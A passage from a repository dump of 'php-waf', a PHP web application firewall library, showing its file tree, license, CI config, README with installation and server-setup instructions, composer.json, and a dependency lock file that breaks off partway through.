├── .gitattributes ├── .github ├── FUNDING.yml └── workflows │ └── test.yml ├── .gitignore ├── LICENSE ├── README.md ├── composer.json ├── composer.lock ├── examples ├── .htaccess ├── index.php └── waf.php ├── phpunit.xml.dist ├── src ├── AbstractFilter.php ├── Exception.php ├── Filter │ ├── Crlf.php │ ├── Sql.php │ ├── Xml.php │ └── Xss.php ├── Firewall.php ├── autoload.php └── payloads │ ├── crlf.txt │ ├── sql.txt │ ├── xml.txt │ └── xss.txt └── tests ├── AbstractFilterTest.php ├── Filter ├── CrlfTest.php ├── SqlTest.php ├── XmlTest.php └── XssTest.php └── FirewallTest.php /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2] 4 | patreon: # Replace with a single Patreon username 5 | open_collective: # Replace with a single Open Collective username 6 | ko_fi: # Replace with a single Ko-fi username 7 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel 8 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry 9 | liberapay: # Replace with a single Liberapay username 10 | issuehunt: # Replace with a single IssueHunt username 11 | otechie: # Replace with a single Otechie username 12 | custom: https://www.paypal.me/Dimitar81 13 | -------------------------------------------------------------------------------- /.github/workflows/test.yml: -------------------------------------------------------------------------------- 1 | name: CI 2 | on: [push] 3 | jobs: 4 | build-test: 5 | runs-on: ubuntu-latest 6 | steps: 7 | - uses: actions/checkout@v4 8 | 9 | - name: Install dependencies 10 | uses: php-actions/composer@v6 11 | with: 12 | php_version: '7.2' 13 | 14 | - name: PHPUnit Tests 15 | uses: php-actions/phpunit@v3 16 | with: 17 | php_version: '7.2' 18 | version: 8 19 | 20 | - run: phpunit 21 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | composer.phar 2 | /vendor/ 3 | /.idea 4 | .phpunit.result.cache 5 | phpunit.xml 6 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019-2024 Dimitar Ivanov 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # php-waf 2 | PHP Web Application Firewall 3 | 4 | | Build | Stable | License | 5 | | --- | --- | --- | 6 | | [![CI][x1]][y1] | [![Latest Stable Version][x2]][y2] | [![License][x3]][y3] | 7 | 8 | ### Requirements 9 | - PHP >= 7.0 10 | 11 | ### Installation 12 | If Composer is not installed on your system yet, you may go ahead and install it using this command line: 13 | ``` 14 | $ curl -sS https://getcomposer.org/installer | php 15 | ``` 16 | Next, add the following require entry to the composer.json file in the root of your project. 17 | ```json 18 | { 19 | "require" : { 20 | "riverside/php-waf" : "^2.0" 21 | } 22 | } 23 | ``` 24 | Finally, use Composer to install php-waf and its dependencies: 25 | ``` 26 | $ php composer.phar install 27 | ``` 28 | ### How to use 29 | 1. Configure your web server 30 | - Apache 31 | ```apacheconfig 32 | php_value auto_prepend_file "/path/to/waf.php" 33 | ``` 34 | - Nginx 35 | ``` 36 | fastcgi_param PHP_VALUE "auto_prepend_file=/path/to/waf.php"; 37 | ``` 38 | 2. Create an Firewall instance 39 | - waf.php 40 | ```php 41 | run(); 44 | ``` 45 | 46 | ### Available filters 47 | | Filter | Description | 48 | | ------------------ | --------------------- | 49 | | Sql | SQL Injection | 50 | | Crlf | CRLF Injection | 51 | | Xss | Cross-site Scripting | 52 | | Xml | XML Attacks | 53 | 54 | ### Migration Guide to Version 2.0.0 55 | ##### What's changed 56 | In version 2.0.0, I have made the following updates to improve consistency and adherence to PHP best practices: 57 | 1. Namespace renamed 58 | - Old namespace: `PhpWaf` 59 | - New namespace: `Riverside\Waf` 60 | 2. Class names renamed 61 | - Old names: 62 | - `src/Filter/CRLF.php` (Class `CRLF`) 63 | - `src/Filter/SQL.php` (Class `SQL`) 64 | - `src/Filter/XML.php` (Class `XML`) 65 | - `src/Filter/XSS.php` (Class `XSS`) 66 | - `src/BaseFilter.php` (Class `BaseFilter`) 67 | - New names: 68 | - `src/Filter/Crlf.php` (Class `Crlf`) 69 | - `src/Filter/Sql.php` (Class `Sql`) 70 | - `src/Filter/Xml.php` (Class `Xml`) 71 | - `src/Filter/Xss.php` (Class `Xss`) 72 | - `src/AbstractFilter.php` (Class `AbstractFilter`) 73 | 74 | ##### How to update your codebase 75 | 1. Update class imports: 76 | - Old way: 77 | - `use PhpWaf\Firewall;` 78 | - `use PhpWaf\Filter\CRLF;` 79 | - `use PhpWaf\Filter\SQL;` 80 | - `use PhpWaf\Filter\XML;` 81 | - `use PhpWaf\Filter\XSS;` 82 | - New way: 83 | - `use Riverside\Waf\Firewall;` 84 | - `use Riverside\Waf\Filter\Crlf;` 85 | - `use Riverside\Waf\Filter\Sql;` 86 | - `use Riverside\Waf\Filter\Xml;` 87 | - `use Riverside\Waf\Filter\Xss;` 88 | 89 | [x1]: https://github.com/riverside/php-waf/actions/workflows/test.yml/badge.svg 90 | [y1]: https://github.com/riverside/php-waf/actions/workflows/test.yml 91 | [x2]: https://poser.pugx.org/riverside/php-waf/v/stable 92 | [y2]: https://packagist.org/packages/riverside/php-waf 93 | [x3]: https://poser.pugx.org/riverside/php-waf/license 94 | [y3]: https://packagist.org/packages/riverside/php-waf -------------------------------------------------------------------------------- /composer.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "riverside/php-waf", 3 | "description": "PHP Web Application Firewall", 4 | "type": "library", 5 | "version": "2.0.0", 6 | "keywords": ["php", "firewall", "waf", "application", "webapp"], 7 | "homepage": "https://github.com/riverside/php-waf", 8 | "license": "MIT", 9 | "authors": [ 10 | { 11 | "name": "Dimitar Ivanov", 12 | "email": "biggie@abv.bg", 13 | "homepage": "https://twitter.com/DimitarIvanov", 14 | "role": "Developer" 15 | } 16 | ], 17 | "require": { 18 | "php": ">=7.0" 19 | }, 20 | "require-dev": { 21 | "phpunit/phpunit": "8" 22 | }, 23 | "autoload": { 24 | "psr-4": { 25 | "Riverside\\Waf\\": "src/" 26 | } 27 | }, 28 | "autoload-dev": { 29 | "psr-4": { 30 | "Riverside\\Waf\\Tests\\": "tests/" 31 | } 32 | }, 33 | "scripts": { 34 | "test": "vendor/bin/phpunit" 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /composer.lock: -------------------------------------------------------------------------------- 1 | { 2 | "_readme": [ 3 | "This file locks the dependencies of your project to a known state", 4 | "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", 5 | "This file is @generated automatically" 6 | ], 7 | "content-hash": "fb3191e2e93a8f476c4847858655713f", 8 | "packages": [], 9 | "packages-dev": [ 10 | { 11 | "name": "doctrine/instantiator", 12 | "version": "1.2.0", 13 | "source": { 14 | "type": "git", 15 | "url": "https://github.com/doctrine/instantiator.git", 16 | "reference": "a2c590166b2133a4633738648b6b064edae0814a" 17 | }, 18 | "dist": { 19 | "type": "zip", 20 | "url": "https://api.github.com/repos/doctrine/instantiator/zipball/a2c590166b2133a4633738648b6b064edae0814a", 21 | "reference": "a2c590166b2133a4633738648b6b064edae0814a", 22 | "shasum": "" 23 | }, 24 | "require": { 25 | "php": "^7.1" 26 | }, 27 | "require-dev": { 28 | "doctrine/coding-standard": "^6.0", 29 | "ext-pdo": "*", 30 | "ext-phar": "*", 31 | "phpbench/phpbench": "^0.13", 32 | "phpstan/phpstan-phpunit": "^0.11", 33 | "phpstan/phpstan-shim": "^0.11", 34 | "phpunit/phpunit": "^7.0" 35 | }, 36 | "type": "library", 37 | "extra": { 38 | "branch-alias": { 39 | "dev-master": "1.2.x-dev" 40 | } 41 | }, 42 | "autoload": { 43 | "psr-4": { 44 | "Doctrine\\Instantiator\\": "src/Doctrine/Instantiator/" 45 | } 46 | }, 47 | "notification-url": "https://packagist.org/downloads/", 48 | "license": [ 49 | "MIT" 50 | ], 51 | "authors": [ 52 | { 53 | "name": "Marco Pivetta", 54 | "email": "ocramius@gmail.com", 55 | "homepage": "http://ocramius.github.com/" 56 | } 57 | ], 58 | "description": "A small, lightweight utility to instantiate objects in PHP without invoking their constructors", 59 | "homepage": "https://www.doctrine-project.org/projects/instantiator.html", 60 | "keywords": [ 61 | "constructor", 62 | "instantiate" 63 | ], 64 | "time": "2019-03-17T17:37:11+00:00" 65 | }, 66 | { 67 | "name": "myclabs/deep-copy", 68 | "version": "1.9.1", 69 | "source": { 70 | "type": "git", 71 | "url": "https://github.com/myclabs/DeepCopy.git", 72 | "reference": "e6828efaba2c9b79f4499dae1d66ef8bfa7b2b72" 73 | }, 74 | "dist": { 75 | "type": "zip", 76 | "url": "https://api.github.com/repos/myclabs/DeepCopy/zipball/e6828efaba2c9b79f4499dae1d66ef8bfa7b2b72", 77 | "reference": "e6828efaba2c9b79f4499dae1d66ef8bfa7b2b72", 78 | "shasum": "" 79 | }, 80 | "require": { 81 | "php": "^7.1" 82 | }, 83 | "replace": { 84 | "myclabs/deep-copy": "self.version" 85 | }, 86 | "require-dev": { 87 | "doctrine/collections": "^1.0", 88 | "doctrine/common": "^2.6", 89 | "phpunit/phpunit": "^7.1" 90 | }, 91 | "type": "library", 92 | "autoload": { 93 | "psr-4": { 94 | "DeepCopy\\": "src/DeepCopy/" 95 | }, 96 | "files": [ 97 | "src/DeepCopy/deep_copy.php" 98 | ] 99 | }, 100 | "notification-url": "https://packagist.org/downloads/", 101 | "license": [ 102 | "MIT" 103 | ], 104 | "description": "Create deep copies (clones) of your objects", 105 | "keywords": [ 106 | "clone", 107 | "copy", 108 | "duplicate", 109 | "object", 110 | "object graph" 111 | ], 112 | "time": "2019-04-07T13:18:21+00:00" 113 | }, 114 | { 115 | "name": "phar-io/manifest", 116 | "version": "1.0.3", 117 | "source": { 118 | "type": "git", 119 | "url": "https://github.com/phar-io/manifest.git", 120 | "reference": "7761fcacf03b4d4f16e7ccb606d4879ca431fcf4" 121 | }, 122 | "dist": { 123 | "type": "zip", 124 | "url": "https://api.github.com/repos/phar-io/manifest/zipball/7761fcacf03b4d4f16e7ccb606d4879ca431fcf4", 125 | "reference": "7761fcacf03b4d4f16e7ccb606d4879ca431fcf4", 126 | "shasum": "" 127 | }, 128 | "require": { 129 | "ext-dom": "*", 130 | "ext-phar": "*", 131 | "phar-io/version": "^2.0", 132 | "php": "^5.6 || ^7.0" 133 | }, 134 | "type": "library", 135 | "extra": { 136 | "branch-alias": { 137 | "dev-master": "1.0.x-dev" 138 | } 139 | }, 140 | "autoload": { 141 | "classmap": [ 142 | "src/" 143 | ] 144 | }, 145 | "notification-url": "https://packagist.org/downloads/", 146 | "license": [ 147 | "BSD-3-Clause" 148 | ], 149 | "authors": [ 150 | { 151 | "name": "Arne Blankerts", 152 | "email": "arne@blankerts.de", 153 | "role": "Developer" 154 | }, 155 | { 156 | "name": "Sebastian Heuer", 157 | "email": "sebastian@phpeople.de", 158 | "role": "Developer" 159 | }, 160 | { 161 | "name": "Sebastian Bergmann", 162 | "email": "sebastian@phpunit.de", 163 | "role": "Developer" 164 | } 165 | ], 166 | "description": "Component for reading phar.io manifest information from a PHP Archive (PHAR)", 167 | "time": "2018-07-08T19:23:20+00:00" 168 | }, 169 | { 170 | "name": "phar-io/version", 171 | "version": "2.0.1", 172 | "source": { 173 | "type": "git", 174 | "url": "https://github.com/phar-io/version.git", 175 | "reference": "45a2ec53a73c70ce41d55cedef9063630abaf1b6" 176 | }, 177 | "dist": { 178 | "type": "zip", 179 | "url": "https://api.github.com/repos/phar-io/version/zipball/45a2ec53a73c70ce41d55cedef9063630abaf1b6", 180 | "reference": "45a2ec53a73c70ce41d55cedef9063630abaf1b6", 181 | "shasum": "" 182 | }, 183 | "require": { 184 | "php": "^5.6 || ^7.0" 185 | }, 186 | "type": "library", 187 | "autoload": { 188 | "classmap": [ 189 | "src/" 190 | ] 191 | }, 192 | "notification-url": "https://packagist.org/downloads/", 193 | "license": [ 194 | "BSD-3-Clause" 195 | ], 196 | "authors": [ 197 | { 198 | "name": "Arne Blankerts", 199 | "email": "arne@blankerts.de", 200 | "role": "Developer" 201 | }, 202 | { 203 | "name": "Sebastian Heuer", 204 | "email": "sebastian@phpeople.de", 205 | "role": "Developer" 206 | }, 207 | { 208 | "name": "Sebastian Bergmann", 209 | "email": "sebastian@phpunit.de", 210 | "role": "Developer" 211 | } 212 | ], 213 | "description": "Library for handling version information and constraints", 214 | "time": "2018-07-08T19:19:57+00:00" 215 | }, 216 | { 217 | "name": "phpdocumentor/reflection-common", 218 | "version": "1.0.1", 219 | "source": { 220 | "type": "git", 221 | "url": "https://github.com/phpDocumentor/ReflectionCommon.git", 222 | "reference": "21bdeb5f65d7ebf9f43b1b25d404f87deab5bfb6" 223 | }, 224 | "dist": { 225 | "type": "zip", 226 | "url": "https://api.github.com/repos/phpDocumentor/ReflectionCommon/zipball/21bdeb5f65d7ebf9f43b1b25d404f87deab5bfb6", 227 | "reference": "21bdeb5f65d7ebf9f43b1b25d404f87deab5bfb6", 228 | "shasum": "" 229 | }, 230 | "require": { 231 | "php": ">=5.5" 232 | }, 233 | "require-dev": { 234 | "phpunit/phpunit": "^4.6" 235 | }, 236 | "type": "library", 237 | "extra": { 238 | "branch-alias": { 239 | "dev-master": "1.0.x-dev" 240 | } 241 | }, 242 | "autoload": { 243 | "psr-4": { 244 | "phpDocumentor\\Reflection\\": [ 245 | "src" 246 | ] 247 | } 248 | }, 249 | "notification-url": "https://packagist.org/downloads/", 250 | "license": [ 251 | "MIT" 252 | ], 253 | "authors": [ 254 | { 255 | "name": "Jaap van Otterdijk", 256 | "email": "opensource@ijaap.nl" 257 | } 258 | ], 259 | "description": "Common reflection classes used by phpdocumentor to reflect the code structure", 260 | "homepage": "http://www.phpdoc.org", 261 | "keywords": [ 262 | "FQSEN", 263 | "phpDocumentor", 264 | "phpdoc", 265 | "reflection", 266 | "static analysis" 267 | ], 268 | "time": "2017-09-11T18:02:19+00:00" 269 | }, 270 | { 271 | "name": "phpdocumentor/reflection-docblock", 272 | "version": "4.3.1", 273 | "source": { 274 | "type": "git", 275 | "url": "https://github.com/phpDocumentor/ReflectionDocBlock.git", 276 | "reference": "bdd9f737ebc2a01c06ea7ff4308ec6697db9b53c" 277 | }, 278 | "dist": { 279 | "type": "zip", 280 | "url": "https://api.github.com/repos/phpDocumentor/ReflectionDocBlock/zipball/bdd9f737ebc2a01c06ea7ff4308ec6697db9b53c", 281 | "reference": "bdd9f737ebc2a01c06ea7ff4308ec6697db9b53c", 282 | "shasum": "" 283 | }, 284 | "require": { 285 | "php": "^7.0", 286 | "phpdocumentor/reflection-common": "^1.0.0", 287 | "phpdocumentor/type-resolver": "^0.4.0", 288 | "webmozart/assert": "^1.0" 289 | }, 290 | "require-dev": { 291 | "doctrine/instantiator": "~1.0.5", 292 | "mockery/mockery": "^1.0", 293 | "phpunit/phpunit": "^6.4" 294 | }, 295 | "type": "library", 296 | "extra": { 297 | "branch-alias": { 298 | "dev-master": "4.x-dev" 299 | } 300 | }, 301 | "autoload": { 302 | "psr-4": { 303 | "phpDocumentor\\Reflection\\": [ 304 | "src/" 305 | ] 306 | } 307 | }, 308 | "notification-url": "https://packagist.org/downloads/", 309 | "license": [ 310 | "MIT" 311 | ], 312 | "authors": [ 313 | { 314 | "name": "Mike van Riel", 315 | "email": "me@mikevanriel.com" 316 | } 317 | ], 318 | "description": "With this component, a library can provide support for annotations via DocBlocks or otherwise retrieve information that is embedded in a DocBlock.", 319 | "time": "2019-04-30T17:48:53+00:00" 320 | }, 321 | { 322 | "name": "phpdocumentor/type-resolver", 323 | "version": "0.4.0", 324 | "source": { 325 | "type": "git", 326 | "url": "https://github.com/phpDocumentor/TypeResolver.git", 327 | "reference": "9c977708995954784726e25d0cd1dddf4e65b0f7" 328 | }, 329 | "dist": { 330 | "type": "zip", 331 | "url": "https://api.github.com/repos/phpDocumentor/TypeResolver/zipball/9c977708995954784726e25d0cd1dddf4e65b0f7", 332 | "reference": "9c977708995954784726e25d0cd1dddf4e65b0f7", 333 | "shasum": "" 334 | }, 335 | "require": { 336 | "php": "^5.5 || ^7.0", 337 | "phpdocumentor/reflection-common": "^1.0" 338 | }, 339 | "require-dev": { 340 | "mockery/mockery": "^0.9.4", 341 | "phpunit/phpunit": "^5.2||^4.8.24" 342 | }, 343 | "type": "library", 344 | "extra": { 345 | "branch-alias": { 346 | "dev-master": "1.0.x-dev" 347 | } 348 | }, 349 | "autoload": { 350 | "psr-4": { 351 | "phpDocumentor\\Reflection\\": [ 352 | "src/" 353 | ] 354 | } 355 | }, 356 | "notification-url": "https://packagist.org/downloads/", 357 | "license": [ 358 | "MIT" 359 | ], 360 | "authors": [ 361 | { 362 | "name": "Mike van Riel", 363 | "email": "me@mikevanriel.com" 364 | } 365 | ], 366 | "time": "2017-07-14T14:27:02+00:00" 367 | }, 368 | { 369 | "name": "phpspec/prophecy", 370 | "version": "1.8.1", 371 | "source": { 372 | "type": "git", 373 | "url": "https://github.com/phpspec/prophecy.git", 374 | "reference": "1927e75f4ed19131ec9bcc3b002e07fb1173ee76" 375 | }, 376 | "dist": { 377 | "type": "zip", 378 | "url": "https://api.github.com/repos/phpspec/prophecy/zipball/1927e75f4ed19131ec9bcc3b002e07fb1173ee76", 379 | "reference": "1927e75f4ed19131ec9bcc3b002e07fb1173ee76", 380 | "shasum": "" 381 | }, 382 | "require": { 383 | "doctrine/instantiator": "^1.0.2", 384 | "php": "^5.3|^7.0", 385 | "phpdocumentor/reflection-docblock": "^2.0|^3.0.2|^4.0", 386 | "sebastian/comparator": "^1.1|^2.0|^3.0", 387 | "sebastian/recursion-context": "^1.0|^2.0|^3.0" 388 | }, 389 | "require-dev": { 390 | "phpspec/phpspec": "^2.5|^3.2", 391 | "phpunit/phpunit": "^4.8.35 || ^5.7 || ^6.5 || ^7.1" 392 | }, 393 | "type": "library", 394 | "extra": { 395 | "branch-alias": { 396 | "dev-master": "1.8.x-dev" 397 | } 398 | }, 399 | "autoload": { 400 | "psr-4": { 401 | "Prophecy\\": "src/Prophecy" 402 | } 403 | }, 404 | "notification-url": "https://packagist.org/downloads/", 405 | "license": [ 406 | "MIT" 407 | ], 408 | "authors": [ 409 | { 410 | "name": "Konstantin Kudryashov", 411 | "email": "ever.zet@gmail.com", 412 | "homepage": "http://everzet.com" 413 | }, 414 | { 415 | "name": "Marcello Duarte", 416 | "email": "marcello.duarte@gmail.com" 417 | } 418 | ], 419 | "description": "Highly opinionated mocking framework for PHP 5.3+", 420 | "homepage": "https://github.com/phpspec/prophecy", 421 | "keywords": [ 422 | "Double", 423 | "Dummy", 424 | "fake", 425 | "mock", 426 | "spy", 427 | "stub" 428 | ], 429 | "time": "2019-06-13T12:50:23+00:00" 430 | }, 431 | { 432 | "name": "phpunit/php-code-coverage", 433 | "version": "7.0.5", 434 | "source": { 435 | "type": "git", 436 | "url": "https://github.com/sebastianbergmann/php-code-coverage.git", 437 | "reference": "aed67b57d459dcab93e84a5c9703d3deb5025dff" 438 | }, 439 | "dist": { 440 | "type": "zip", 441 | "url": "https://api.github.com/repos/sebastianbergmann/php-code-coverage/zipball/aed67b57d459dcab93e84a5c9703d3deb5025dff", 442 | "reference": "aed67b57d459dcab93e84a5c9703d3deb5025dff", 443 | "shasum": "" 444 | }, 445 | "require": { 446 | "ext-dom": "*", 447 | "ext-xmlwriter": "*", 448 | "php": "^7.2", 449 | "phpunit/php-file-iterator": "^2.0.2", 450 | "phpunit/php-text-template": "^1.2.1", 451 | "phpunit/php-token-stream": "^3.0.1", 452 | "sebastian/code-unit-reverse-lookup": "^1.0.1", 453 | "sebastian/environment": "^4.1", 454 | "sebastian/version": "^2.0.1", 455 | "theseer/tokenizer": "^1.1" 456 | }, 457 | "require-dev": { 458 | "phpunit/phpunit": "^8.0" 459 | }, 460 | "suggest": { 461 | "ext-xdebug": "^2.6.1" 462 | }, 463 | "type": "library", 464 | "extra": { 465 | "branch-alias": { 466 | "dev-master": "7.0-dev" 467 | } 468 | }, 469 | "autoload": { 470 | "classmap": [ 471 | "src/" 472 | ] 473 | }, 474 | "notification-url": "https://packagist.org/downloads/", 475 | "license": [ 476 | "BSD-3-Clause" 477 | ], 478 | "authors": [ 479 | { 480 | "name": "Sebastian Bergmann", 481 | "email": "sebastian@phpunit.de", 482 | "role": "lead" 483 | } 484 | ], 485 | "description": "Library that provides collection, processing, and rendering functionality for PHP code coverage information.", 486 | "homepage": "https://github.com/sebastianbergmann/php-code-coverage", 487 | "keywords": [ 488 | "coverage", 489 | "testing", 490 | "xunit" 491 | ], 492 | "time": "2019-06-06T12:28:18+00:00" 493 | }, 494 | { 495 | "name": "phpunit/php-file-iterator", 496 | "version": "2.0.2", 497 | "source": { 498 | "type": "git", 499 | "url": "https://github.com/sebastianbergmann/php-file-iterator.git", 500 | "reference": "050bedf145a257b1ff02746c31894800e5122946" 501 | }, 502 | "dist": { 503 | "type": "zip", 504 | "url": "https://api.github.com/repos/sebastianbergmann/php-file-iterator/zipball/050bedf145a257b1ff02746c31894800e5122946", 505 | "reference": "050bedf145a257b1ff02746c31894800e5122946", 506 | "shasum": "" 507 | }, 508 | "require": { 509 | "php": "^7.1" 510 | }, 511 | "require-dev": { 512 | "phpunit/phpunit": "^7.1" 513 | }, 514 | "type": "library", 515 | "extra": { 516 | "branch-alias": { 517 | "dev-master": "2.0.x-dev" 518 | } 519 | }, 520 | "autoload": { 521 | "classmap": [ 522 | "src/" 523 | ] 524 | }, 525 | "notification-url": "https://packagist.org/downloads/", 526 | "license": [ 527 | "BSD-3-Clause" 528 | ], 529 | "authors": [ 530 | { 531 | "name": "Sebastian Bergmann", 532 | "email": "sebastian@phpunit.de", 533 | "role": "lead" 534 | } 535 | ], 536 | "description": "FilterIterator implementation that filters files based on a list of suffixes.", 537 | "homepage": "https://github.com/sebastianbergmann/php-file-iterator/", 538 | "keywords": [ 539 | "filesystem", 540 | "iterator" 541 | ], 542 | "time": "2018-09-13T20:33:42+00:00" 543 | }, 544 | { 545 | "name": "phpunit/php-text-template", 546 | "version": "1.2.1", 547 | "source": { 548 | "type": "git", 549 | "url": "https://github.com/sebastianbergmann/php-text-template.git", 550 | "reference": "31f8b717e51d9a2afca6c9f046f5d69fc27c8686" 551 | }, 552 | "dist": { 553 | "type": "zip", 554 | "url": "https://api.github.com/repos/sebastianbergmann/php-text-template/zipball/31f8b717e51d9a2afca6c9f046f5d69fc27c8686", 555 | "reference": "31f8b717e51d9a2afca6c9f046f5d69fc27c8686", 556 | "shasum": "" 557 | }, 558 | "require": { 559 | "php": ">=5.3.3" 560 | }, 561 | "type": "library", 562 | "autoload": { 563 | "classmap": [ 564 | "src/" 565 | ] 566 | }, 567 | "notification-url": "https://packagist.org/downloads/", 568 | "license": [ 569 | "BSD-3-Clause" 570 | ], 571 | "authors": [ 572 | { 573 | "name": "Sebastian Bergmann", 574 | "email": "sebastian@phpunit.de", 575 | "role": "lead" 576 | } 577 | ], 578 | "description": "Simple template engine.", 579 | "homepage": "https://github.com/sebastianbergmann/php-text-template/", 580 | "keywords": [ 581 | "template" 582 | ], 583 | "time": "2015-06-21T13:50:34+00:00" 584 | }, 585 | { 586 | "name": "phpunit/php-timer", 587 | "version": "2.1.2", 588 | "source": { 589 | "type": "git", 590 | "url": "https://github.com/sebastianbergmann/php-timer.git", 591 | "reference": "1038454804406b0b5f5f520358e78c1c2f71501e" 592 | }, 593 | "dist": { 594 | "type": "zip", 595 | "url": "https://api.github.com/repos/sebastianbergmann/php-timer/zipball/1038454804406b0b5f5f520358e78c1c2f71501e", 596 | "reference": "1038454804406b0b5f5f520358e78c1c2f71501e", 597 | "shasum": "" 598 | }, 599 | "require": { 600 | "php": "^7.1" 601 | }, 602 | "require-dev": { 603 | "phpunit/phpunit": "^7.0" 604 | }, 605 | "type": "library", 606 | "extra": { 607 | "branch-alias": { 608 | "dev-master": "2.1-dev" 609 | } 610 | }, 611 | "autoload": { 612 | "classmap": [ 613 | "src/" 614 | ] 615 | }, 616 | "notification-url": "https://packagist.org/downloads/", 617 | "license": [ 618 | "BSD-3-Clause" 619 | ], 620 | "authors": [ 621 | { 622 | "name": "Sebastian Bergmann", 623 | "email": "sebastian@phpunit.de", 624 | "role": "lead" 625 | } 626 | ], 627 | "description": "Utility class for timing", 628 | "homepage": "https://github.com/sebastianbergmann/php-timer/", 629 | "keywords": [ 630 | "timer" 631 | ], 632 | "time": "2019-06-07T04:22:29+00:00" 633 | }, 634 | { 635 | "name": "phpunit/php-token-stream", 636 | "version": "3.0.1", 637 | "source": { 638 | "type": "git", 639 | "url": "https://github.com/sebastianbergmann/php-token-stream.git", 640 | "reference": "c99e3be9d3e85f60646f152f9002d46ed7770d18" 641 | }, 642 | "dist": { 643 | "type": "zip", 644 | "url": "https://api.github.com/repos/sebastianbergmann/php-token-stream/zipball/c99e3be9d3e85f60646f152f9002d46ed7770d18", 645 | "reference": "c99e3be9d3e85f60646f152f9002d46ed7770d18", 646 | "shasum": "" 647 | }, 648 | "require": { 649 | "ext-tokenizer": "*", 650 | "php": "^7.1" 651 | }, 652 | "require-dev": { 653 | "phpunit/phpunit": "^7.0" 654 | }, 655 | "type": "library", 656 | "extra": { 657 | "branch-alias": { 658 | "dev-master": "3.0-dev" 659 | } 660 | }, 661 | "autoload": { 662 | "classmap": [ 663 | "src/" 664 | ] 665 | }, 666 | "notification-url": "https://packagist.org/downloads/", 667 | "license": [ 668 | "BSD-3-Clause" 669 | ], 670 | "authors": [ 671 | { 672 | "name": "Sebastian Bergmann", 673 | "email": "sebastian@phpunit.de" 674 | } 675 | ], 676 | "description": "Wrapper around PHP's tokenizer extension.", 677 | "homepage": "https://github.com/sebastianbergmann/php-token-stream/", 678 | "keywords": [ 679 | "tokenizer" 680 | ], 681 | "time": "2018-10-30T05:52:18+00:00" 682 | }, 683 | { 684 | "name": "phpunit/phpunit", 685 | "version": "8.0.0", 686 | "source": { 687 | "type": "git", 688 | "url": "https://github.com/sebastianbergmann/phpunit.git", 689 | "reference": "130104cf796a88dd1547dc5beb8bd555c2deb55e" 690 | }, 691 | "dist": { 692 | "type": "zip", 693 | "url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/130104cf796a88dd1547dc5beb8bd555c2deb55e", 694 | "reference": "130104cf796a88dd1547dc5beb8bd555c2deb55e", 695 | "shasum": "" 696 | }, 697 | "require": { 698 | "doctrine/instantiator": "^1.1", 699 | "ext-dom": "*", 700 | "ext-json": "*", 701 | "ext-libxml": "*", 702 | "ext-mbstring": "*", 703 | "ext-xml": "*", 704 | "ext-xmlwriter": "*", 705 | "myclabs/deep-copy": "^1.7", 706 | "phar-io/manifest": "^1.0.2", 707 | "phar-io/version": "^2.0", 708 | "php": "^7.2", 709 | "phpspec/prophecy": "^1.7", 710 | "phpunit/php-code-coverage": "^7.0", 711 | "phpunit/php-file-iterator": "^2.0.1", 712 | "phpunit/php-text-template": "^1.2.1", 713 | "phpunit/php-timer": "^2.0", 714 | "sebastian/comparator": "^3.0", 715 | "sebastian/diff": "^3.0", 716 | "sebastian/environment": "^4.1", 717 | "sebastian/exporter": "^3.1", 718 | "sebastian/global-state": "^3.0", 719 | "sebastian/object-enumerator": "^3.0.3", 720 | "sebastian/resource-operations": "^2.0", 721 | "sebastian/version": "^2.0.1" 722 | }, 723 | "require-dev": { 724 | "ext-pdo": "*" 725 | }, 726 | "suggest": { 727 | "ext-soap": "*", 728 | "ext-xdebug": "*", 729 | "phpunit/php-invoker": "^2.0" 730 | }, 731 | "bin": [ 732 | "phpunit" 733 | ], 734 | "type": "library", 735 | "extra": { 736 | "branch-alias": { 737 | "dev-master": "8.0-dev" 738 | } 739 | }, 740 | "autoload": { 741 | "classmap": [ 742 | "src/" 743 | ] 744 | }, 745 | "notification-url": "https://packagist.org/downloads/", 746 | "license": [ 747 | "BSD-3-Clause" 748 | ], 749 | "authors": [ 750 | { 751 | "name": "Sebastian Bergmann", 752 | "email": "sebastian@phpunit.de", 753 | "role": "lead" 754 | } 755 | ], 756 | "description": "The PHP Unit Testing framework.", 757 | "homepage": "https://phpunit.de/", 758 | "keywords": [ 759 | "phpunit", 760 | "testing", 761 | "xunit" 762 | ], 763 | "time": "2019-02-01T05:41:59+00:00" 764 | }, 765 | { 766 | "name": "sebastian/code-unit-reverse-lookup", 767 | "version": "1.0.1", 768 | "source": { 769 | "type": "git", 770 | "url": "https://github.com/sebastianbergmann/code-unit-reverse-lookup.git", 771 | "reference": "4419fcdb5eabb9caa61a27c7a1db532a6b55dd18" 772 | }, 773 | "dist": { 774 | "type": "zip", 